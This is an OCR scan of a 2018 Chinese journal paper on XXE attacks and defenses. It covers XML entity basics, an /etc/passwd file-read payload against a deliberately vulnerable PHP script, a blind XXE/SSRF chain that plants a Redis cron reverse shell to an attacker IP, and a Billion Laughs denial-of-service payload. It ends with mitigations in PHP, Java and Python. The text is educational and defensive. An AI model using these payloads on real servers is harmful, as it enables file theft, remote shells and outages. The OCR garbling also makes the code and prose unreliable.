篼6 无线旺联科技 Wi ro1 e s s I13t eFnet Techn()h)gy 0.6 XXE漏洞攻击与防御研究 邱永哲 (中国科学技术馆,北京 1 0001 2) 摘 要:为提高web应用程序接口的安全性,文章介绍了一种基于xML外部实体的注入漏洞——_XxE漏洞通过列举该漏 洞的一些攻击方式及其造成的危害,能对程序开发者起到警示作用,最后给出了该漏洞的防御方法,对安全实现Web应用程 序的接口提供了参考 关键词:Web应用程序;接口;XML;注入漏洞 当前,伴随着云汁算的蓬勃发展,互联 J、 用正逐步 迈向徽服务化、容器化、接口化,瓦联网入V1也正在从传统 ['1"JPClhi种类繁多的智能设备干¨1oT'l殳备转移。 此,随之带 来的 络安全问题也愈发严峻,引起众多政府组织的关注 __i2017年4月,川:放式Web应 ]程序安全项¨发4i7J'2017q: 。(Entity)、沣释(Comments)。XXEiWil,1就是山DTDf{1的 “实体”引发 。 Web安令十大问题,首次将“未受有效保护的心用程序的调 川接f_](Application Programming Interface,API)”列入了 OWASP Top 10,指出j 应用程序接U仔在易受攻击的风险。 常 的应用程序接口之间数据传递的格式有XML, ̄IJJSON 等,fuJ果住这些传递数据的过 中未对接口进行保护,将造 成服务器被攻 的 重安全事故【 。本文在XML的基础上 介 了一种较为, 重的注入漏洞——xXE漏洞,并针对该漏 洲列举J 一些攻 手段和防御订法,为应用稗序接口的安全 实现 }:发提供 参考。 1 XXE漏洞简介 1.2 XXE漏洞原理 图1 XML文档 在XML 1.0标准当[f1 ‘次引入了“ 体(Entity)”的概 1.1 XML基础 XML是一干l{】标记语言, j 傲广泛地刖米作为跨平台 念,其作爿J类似于Word ̄ 川 『FJ“宏”。实体标识符的定义方 分为两种,一种足在DTDqq内部声明 艾体: 之『}i]交 数据的形式,卞要针对不同的数据内容,通过不 的 式化描述于段充成最终的形式表达 。xML能定义数 的结构、存储 i息,例如将小张发送给小李的 信存储为 XML格式: <‘?xml version=”1.0”l-)> <message> <!ENTITY文体名称“ 体的值”> 另一利,址 DTD中引入外 或者: 体: <!ENTITY实体名称SYSTEM“URI”> <!ENTITY实体名称PUBLIC“public ID”“UR1”> 其中,外 实体呵以 IJ仔储 本地或者远程的文件, Ixll} ̄XML迓 处理DTD定义 }]的外 体时,如不做好 防护,将 t-{ 泄露、SSRF等漏涮。这也l{皮叫作是XXE (XML External Entity injection)漏洲, XML外部吱体 <receiver>d' <,/receiver> <addresser>'J、张</addresser> <content>你吃饭j ?我们 </message> 『』【J图l所 , ‘个充 的XML文档应、 1也括XML声 汴入。对于XXE漏洞的测试,【lj‘以使用DNS带外奁询的方式 [IJJ、 元素,仃时也包括文 类犁定义(Document Type 米进行验证,例如某服务 能处理XML格式的请求数士lc, Definition,DTD)。 lq验tit!. DTD町以将它行作足一个或者多个XML义档的模 可将如FPoC发送给服务 进行漏i扳, 这 可以定义XML文什巾的元素、死索的属性、元 素的排列方式、庀素包含的内容等。DTD文 类 定义dI 4个父键字绀成:元素(Element)、属性(Attribute)、实体 <?xml version=”1.0”?> <!D0CTY PE a[ <!ENTITY b SYSTEM“http.//xxx.corn/test.dtd”> 作者简介:邱永哲(198l一),男,北京人,工程师,学士;研究方向:网络科普 34—— 第6期 2018年3月 NO.6 无线互联科技·网络地带 MarCh,2018 J> <c>&b:</c> 2.2服务端请求伪造 在某些情况下服务器端存在xXE漏洞,但只能使f}j 借助XXE漏洞,攻击者能够实现对服务器的任意文件 http协议通过带外查询捡测,此时该XXE漏洞被称为Blind 读取、拒绝服务攻击、代理扫描内网等。但是不同的XML解 XXE。【{】f无法使用file协议进行文件读取,Blind XXE尤法 析器对外部实体的处理规则不同,例如在PHP中常用来处 带来更大的攻击而,但足如果能结合SSRFJ ̄务器端请求伪  ̄-XML数据的函数有simplexml load string,lflexpat库中的 造,往往能发挥至关重要的作用。 xrnl parse,xml parse函数默认情况下不会解析DTD中的 例如1某企业一台处于网络边界的Apache J][ ̄务器存住 外部实体,但simplexml load string默认会解折外部实体导 Blind XXE漏洞,该服务器使用双网卡连接了企业内部网络 致XXE。除PHP以外,Java、Python平台中处Y ̄-.XML的函数 l0.4.10.0/24,企业内网有一台未授权即可访问的RedisJ] ̄务器 都可能会产生XXE漏涧。 10.4.10.7,如果这台服务器未做好SSRF防护,那么此时就可 2 XXE漏洞利用 以利用这枚Bind XXE漏洞直接发起对内网Redis ̄务器的 攻击: <?x111l version=”1.0”?> 2.1任意文件读取 侄意文件读取是XXE漏洞最常见的利用方式,本文在 Linux平台下搭建了基于docker容器的测试环境来测试演示 该漏洞的攻击过程 】。 首先使用docker容器创建Apache+PHP架构服务器, 随后 服务器web日录中创建包含有XXE漏洞的PHP丈件 simplexml load string.php,内容为: <?php <!D0CTYPE a[ <!ENTITY b SYSTEMgopher.php > “http://l23.123.123.123/ 】> <c>&b:</c> 其中123.123.123.123为攻击者的服务器,gopher.php的内 ¥data=filegetcontents(‘php://input’); ¥xml=simplexmlloadstring(¥data); 容为: <?php headerfLocation:gopher://10.4.10.7:6379/ ●> 3%0d%0a¥3%0d%0aset%0d%0a¥1%0d%0al%0d H『J在该文件中使用PHP的simplexml load string函数来 %0aS60%0d%0a%0a%0a*/l } bash—i>&/dev/ 接收处理XML数据。接下来使用请求构造工具Postman发 tcp/l23.123.123.123/7777 0>&1%0a%0a%0d%0a*4%0d%0a 送以下的XML请求: <?xml version=”1.0”encoding=”utf-8”?> ¥6%0d%0aconfig%0d%0a¥3%0d%0adir%0d%0a¥16%0d% 0a/var/spool/cron/%0d%0a*4%0d%0a¥6%0d%0aconfig%0 <?DOCTYPE xxe[ <!ELEMENT name ANY> d%0a¥3%0d%0aset%0d%0aS10%0d%0adbfilename%0d%0 a¥4%0d%0aroot%0d%Oa*l%0d%0a¥4%0d%0asave%Odo /0 0a、?> <?ENTITY xxe SYSTEM“file:///etc/passwd”>]> <root> <name>&xxe;</name> 这时候攻击者将商接获得内网Redis服务器的权限进而 对企业内网进行进一步渗透。可见此H ̄Blind XXE通过 SSRF的结合极大地拓展了攻击面,为攻击者进 ‘步的突破 请求响应结果如图2所示,可以看到这里使用file协议成 创造了条件。 </root> 功读取到TN务器文件/etc/passwd,造成了服务器文件信息 2.3拒绝服务攻击 泄露,利用该方法还有可能读取到服务器中存放的数据库 密码、SvN服务器密码等其他敏感信息。 P05T …… 一由于XXE漏洞是由服务器端接收并处理用户恶意数据 造成,因此攻击者还可以通过构造复杂的逻辑来消耗服务 器的运算资源,最终导致拒绝服务攻击。例如向一台存往 XXE漏洞的服务器发送如下的XML数据: 州n1 ‘、 晴 ■mLb.t ● 口t I…脚t 。州 …bmHF - “n州 …k… <?xml version=“1.0”?> l ‘}柚 o ‘1 r_∞ ‘ f rh l t‘∞口 Hef }‘1lL日●日 一^n 4‘In日T n●s T ‘Tit● c,■ ●■‘ ’ 5·q-呲 <?DOCTYPE lolz[ <!ENTITY 1ol“1ol”> 5‘ ∞ r_-p ■£ 曲 <?ELEMENT lolz f≠}PCDATA1> : …n惭 一 ^■■■ dB州’∞: 1:'日舶哪:,L ,曲}n/懈r,曲in,,’口l。口【n“n础:2:晰/ n/ 曲 /咖k ̄gln目 :峨855 c:/b ,b , 9 ,Ⅶr <?ENTITY 1oll“&lol;&lol;&lol;&lol;&lol;&lol;&lol;&l 0 ln _ 5: k驴m啦,u _T哪,岫r/‘b /咖ol;&lol;&lol;’’> <!ENTITY 1o12“&1oll;&lol1;&loll:&loll:&1ol1:&lol1: &lOl1:&lOl1:&loll:&1oll:”> <!ENTITY lo13“&lo12;&lo12;&lo12;&lo12;&lo12;&lo12, &lo12;&lo12;&lo12;&lo12;”> m l艘m酣 Ⅷ ,m●¨=, ,曲 , 一。口 n_ 岬 1n竹岬H 0 /嵋r,,pod/岬,墉r,lbh,n。b口 图2 XXE任意文件读取 35 <!ENTITY 1o14“&lo13;&lo13;&lo13;&lo13;&lo13;&lo13; 第6期 NO。6 2018年3月 &lo13;&lo13;&lo13;&lo13;”> 无线互联科技·网络地带 MaFCh,20l8 <!ENTITY 1o15“&lo14;&lo14;&lo14;&lo14;&lo14;&lo14; &lo14;&lo14;&lo14;&lo14;’’> 例OTexpect协议,那么XXE漏洞将直接可以被转化为命令执 行漏洞。 <!ENTITY lo16“&lo15;&lo15;&lo15;&lo15;&lo15;&lo15; &lo15;&lol5;&1o15;&1o15;”> <!ENTITY lo17“&lo16;&lo16;&lo16;&lol6;&1o16;&lo16; &lo16;&lo16;&lo16;&lo16;’’> < ̄ENTITY lo18“&lo17;&lo17;&lo17;&lo17;&lo17;&lo17; &lo17;&lol7;&lo17;&1o17;”> <!ENTITY 1o19“&lo18;&lo18;&lo18;&lo18;&lo18;&lo18; 图3 XXE漏洞各平台支持的协议 &lo18;&lo18;&lo18;&lo18;”>]> <lolz>&lo19;</lolz> 3 XXE漏洞防御方法 对XXE漏洞的防御要做到两点。 当服务器解析该XML数据时发现它只包含一个根元素 (1)过滤用户提交的X M L数据,禁止出现 “lolz”,该元素包含了文本“&1o19;”,然而“1oi9”是定义 <!DOCTYPE、<!ENTITY,SYSTEM和PuBLIC等关键字。 的一个实体,该实体被扩展为包含十个“&lo18”的字符串, (2)在源代码层面禁止使用外部实体。 但是“1o18”又是一个被定义的实体,又继续扩展为包含十个 #PHP “&lo17”的字符串……如此下去所有的实体扩展被处理完 毕后这个XML文档实际上包含了将近109个字符串“lol”,将 占用接近3GB的内存,最终服务器内存资源被瞬间消耗殆尽 libxmldisableentityloader(true); ——————#Java D O C U m e n t b U i 1 d e r F a c t O r Y d b f= 而造成DOS拒绝服务攻击。这段代码被称为“Billion laughs DocumentbuilderFactory.newlnstance0; attack”。 dbf.setExpandEntityReferences(false); 2.4其他危害 #Python from lxm¨mport etree 事实上,XXE漏洞除了上述一些攻击利用方式之外,也 x rnIData=et ree.Par sefXm1SOU rc e。etre e. 可能会出现更多的攻击方式。XXE漏洞在不同语言和平台上 可能支持的协议如图3所示。 XMLParse(resolve——entities=False)) 而对于PHP应用程序来说,如果安装了更多PHP的扩展 【参考文献】 [1]维基百奔 XML[EB/OL].(2017—12—15)[2018—02—08].https://zh.wikipedia.org/wiki/XML. [2]维基百种文档类型定义[EB/OL].(2017—12—26)[2018—02—08].https://zh.wikipedia.org/wiki/ ̄'3类型定义.- 【3]Timothy D.Mo—gan,Omar AI lbrahim.XML Schema,DTD,and Entity Attacks-A Compendium of Known Techniques[EB/OL].(2017一 lO一25)[2018-02—08]_https:∥www.Vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf. [4]维基百科.Billion laughs attack[EB/OL].(2017-l】·l5)[2018—02一O8】.https://en.wikipedia.org/wiki/Billionlaughsattack. —【5]腾讯安全应急响应中·心.未知攻焉知防_xxE漏洞攻防[EB/OL].(2018—01-l0)【2018-02—08].https://security.tencent.com/index.P hp/blog/ msg/69. Study on the XXE vulnerability attacks and defense QiuYongzhe (China Science and Technology Museum.Beijing 100012.China) Abstract:In order tO improve the security of Web application program interface,this paper introduces a vulnerability injection based on XML external entity.By enumerating some of the vulnerabilities and the harms they cause,this program can play a warning role to program developers.At last,the defensive method of this loophole is given,which provides a reference for the realization of Web application interface safely. Key words:Web application;interface;XML;injection vulnerability 一36—